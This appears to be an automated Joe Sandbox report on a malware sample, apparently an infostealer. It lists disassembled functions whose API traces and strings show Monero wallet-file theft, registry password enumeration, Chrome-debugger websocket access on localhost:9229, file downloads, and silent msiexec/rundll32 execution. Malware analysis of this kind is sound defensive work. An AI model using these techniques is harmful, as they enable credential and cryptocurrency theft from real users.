API ID: CreateGlobalStream
String ID: `dAF$`dAF$image/jpeg
API String ID: 2244384528-2462684518
Opcode ID: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction ID: 5957f6d1424668cbfb95915d93d24f68315a2265fb4ab52f55d04562dbc5d918
Opcode Fuzzy Hash: e2818ee80e84ba607554f161cf3f8b5aa4b01b2fddcad8d08d404cdb47dfdd2d
Instruction Fuzzy Hash: BE710E71E11208ABDB14EFE4DC95FEEB779BF48300F10851AF516A7290EB34A944CB65

Function 00415760 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004158F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415AA7

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00415440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415478

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00415510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415568
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 0041557F
Part of subcall function 00415510: StrStrA.SHLWAPI(00000000,00000000), ref: 004155B4
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155D3
Part of subcall function 00415510: strtok.MSVCRT(00000000,?), ref: 004155EE
Part of subcall function 00415510: lstrlenA.KERNEL32(00000000), ref: 004155FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 004159DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415C5C
Sleep.KERNEL32(0000EA60), ref: 00415C6B

Strings

ERROR, xrefs: 004158E3
ERROR, xrefs: 00415C4E
ERROR, xrefs: 00415B82
ERROR, xrefs: 004159CD
ERROR, xrefs: 00415886
ERROR, xrefs: 00415A99

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction ID: 55671caa9f17e02bf2b096751d64d2e50591885947f125be0164830bf8637258
Opcode Fuzzy Hash: 93186e085ff129a73f9e0ab74c49d77d7277fa139757a84e451318394f26fa84
Instruction Fuzzy Hash: 30E1A331A111049BCB14FBA1EDA6EED733EAF54304F40856EF50666091EF386B98CB5A

Function 00413080 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

ShellExecuteEx.SHELL32(0000003C), ref: 00413415
ShellExecuteEx.SHELL32(0000003C), ref: 004135AD
ShellExecuteEx.SHELL32(0000003C), ref: 0041373A

Strings

/passive, xrefs: 004136AB
.msi, xrefs: 004135E8
<, xrefs: 004136E0
C:\Windows\system32\rundll32.exe, xrefs: 00413582
/i ", xrefs: 00413634
C:\Windows\system32\msiexec.exe, xrefs: 0041370F
"" , xrefs: 004132EA
.dll, xrefs: 00413435

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 24afb7aab244dc1f008c229e321b7a9cf54e797c369161a81e3f6f423299e90d
Instruction ID: 9b621e5b28039e8226f92625bb5802f9f58bb257d03f06fe20f9cf3dfd15236c
Opcode Fuzzy Hash: 24afb7aab244dc1f008c229e321b7a9cf54e797c369161a81e3f6f423299e90d
Instruction Fuzzy Hash: 271241719011189ACB14FBA1DDA2FEDB739AF14314F00419FF10666196EF382B99CFA9

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
Part of subcall function 004012A0: RegCloseKey.ADVAPI32(?), ref: 004012FF

lstrcatA.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcatA.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

Part of subcall function 00418CF0: GetSystemTime.KERNEL32(?,00859578,004205B6,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418D16

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401465

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 0040A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
Part of subcall function 0040A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
Part of subcall function 0040A110: LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
Part of subcall function 0040A110: ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
Part of subcall function 0040A110: LocalFree.KERNEL32(00410447), ref: 0040A1E0
Part of subcall function 0040A110: CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335
\Monero\wallet.keys, xrefs: 0040138D
wallet_path, xrefs: 00401330

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$AllocCloseHeapLocallstrlenmemset$CopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1930502592-218353709
Opcode ID: da084421f8562a6e4885668f13f653212297e6ad3cc52a55251b51a2e8dea2f1
Instruction ID: 741fdb0546306804f524ee4e08b2aea9f849864388c8e0516508d47f484bafde
Opcode Fuzzy Hash: da084421f8562a6e4885668f13f653212297e6ad3cc52a55251b51a2e8dea2f1
Instruction Fuzzy Hash: 6B5151B1E501185BCB14EB60DD96BED733DAF54304F4045EEB20A62092EF346BD8CA6E

Function 00409A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 00409A6A
InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00409AAB
InternetCloseHandle.WININET(00000000), ref: 00409AC7

Strings

http://localhost:9229/json, xrefs: 00409A9F
"ws://, xrefs: 00409B84
"webSocketDebuggerUrl":, xrefs: 00409B4B

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
API String ID: 3289985339-2144369209
Opcode ID: 170f34314a9a50de4dc5ee84ba35aa8bb061ee5a30c9fc0fe8f8ec154b18fd50
Instruction ID: 65c64d5f42ab2d525f7f9866baa54bb10b69c20dcdde589055b7f2aa2564e8b2
Opcode Fuzzy Hash: 170f34314a9a50de4dc5ee84ba35aa8bb061ee5a30c9fc0fe8f8ec154b18fd50
Instruction Fuzzy Hash: C0414B35A10258EBCB14EB90DC85FDD7774BB48340F1041AAF505BA191DBB8AEC0CF68

Function 00407630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407330: memset.MSVCRT ref: 00407374
Part of subcall function 00407330: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
Part of subcall function 00407330: RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
Part of subcall function 00407330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
Part of subcall function 00407330: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
Part of subcall function 00407330: HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

lstrcatA.KERNEL32(27276020,0042192C,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?,?,00416414), ref: 00407666
lstrcatA.KERNEL32(27276020,00000000,00000000), ref: 004076A8
lstrcatA.KERNEL32(27276020, : ), ref: 004076BA
lstrcatA.KERNEL32(27276020,00000000,00000000,00000000), ref: 004076EF
lstrcatA.KERNEL32(27276020,00421934), ref: 00407700
lstrcatA.KERNEL32(27276020,00000000,00000000,00000000), ref: 00407733
lstrcatA.KERNEL32(27276020,00421938), ref: 0040774D
task.LIBCPMTD ref: 0040775B

Strings

: , xrefs: 004076AE

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction ID: 7dd5c8f6c25e89eb5421da9b581f9cff4d94f04832d352fdfe902425259828cd
Opcode Fuzzy Hash: b3130cf40c1dd3c7cf9147a5f31127e01731d4f473a6a07740fc976ddd9062c8
Instruction Fuzzy Hash: B73164B1E05114DBDB04EBA0DD55DFE737AAF48305B50411EF102772E0DA38AA85CB96

Function 00407330 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407374
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CF0), ref: 0040739A
RegEnumValueA.ADVAPI32(00407CF0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00407411
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040746D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B2
HeapFree.KERNEL32(00000000,?,?,?,?,00407CF0,80000001,00416414,?,?,?,?,?,00407CF0,?), ref: 004074B9

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 004075B5

Strings

Password, xrefs: 00407461

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction ID: 394e2b55a83f95d9b644045a39dee7934e13af239b1baa97d0343fed5997f3db
Opcode Fuzzy Hash: 3a3dd591c7cbb0d90e152054b3ac75d8c6492caf44e892e450b93b3cf6805213
Instruction Fuzzy Hash: 43611EB5D041689BDB24DB50CC41BDAB7B8BF54304F0081EAE649A6181EF746FC9CF95

Function 00417690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004176D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417793
HeapAlloc.KERNEL32(00000000), ref: 0041779A
wsprintfA.USER32 ref: 004177D0

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Strings

:, xrefs: 004176EC
C, xrefs: 004176DC
\, xrefs: 004176F0

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction ID: 56630df3f9a1121e358c86d43682af9e85f8bbcd47ea8763ba8f74f533c9f43c
Opcode Fuzzy Hash: 39db56893d369c74f5f4f3db1860a6a0fb8aa9103e681a18a70390936e9ddc23
Instruction Fuzzy Hash: 8541B6B1D05358DBDB10DF94CC45BDEBBB8AF48704F10009AF509A7280D7786B84CBA9

Function 00418290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00860E58,00000000,?,00420E14,00000000,?,00000000), ref: 004182C0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00860E58,00000000,?,00420E14,00000000,?,00000000,00000000), ref: 004182C7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 004182E8
__aulldiv.LIBCMT ref: 00418302
__aulldiv.LIBCMT ref: 00418310
wsprintfA.USER32 ref: 0041833C

Strings

@, xrefs: 004182DD
%d MB, xrefs: 00418333

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction ID: 389ef6515a1f2427be64b00d9458de7be2b91b0079cd17c5d853587b1d371e56
Opcode Fuzzy Hash: d0391a1658ec30498705cc8c9cee2c4097af9c2ce960180bd43284ebda5957a4
Instruction Fuzzy Hash: 8B214AF1E44218ABDB00DFD5DD49FAEBBB9FB44B04F10450AF615BB280D77969008BA9

Function 004060F0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DFB,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,00862828), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(00412DB1,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(00412DB1), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 4287319946-0
Opcode ID: 28317a5f4b32b5285a3637a607846846f53c0ba5e8d8391b34f33a6405c08cc5
Instruction ID: 62bae03b9e4771e022f65dfe0b744ca25a6527e7e90d195df508867c32b8ef77
Opcode Fuzzy Hash: 28317a5f4b32b5285a3637a607846846f53c0ba5e8d8391b34f33a6405c08cc5
Instruction Fuzzy Hash: CD5184B1A01218ABDB20EF90DC45FEE7779AB44305F0041AEF605B71C0DB786A95CF59

Function 00417350 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

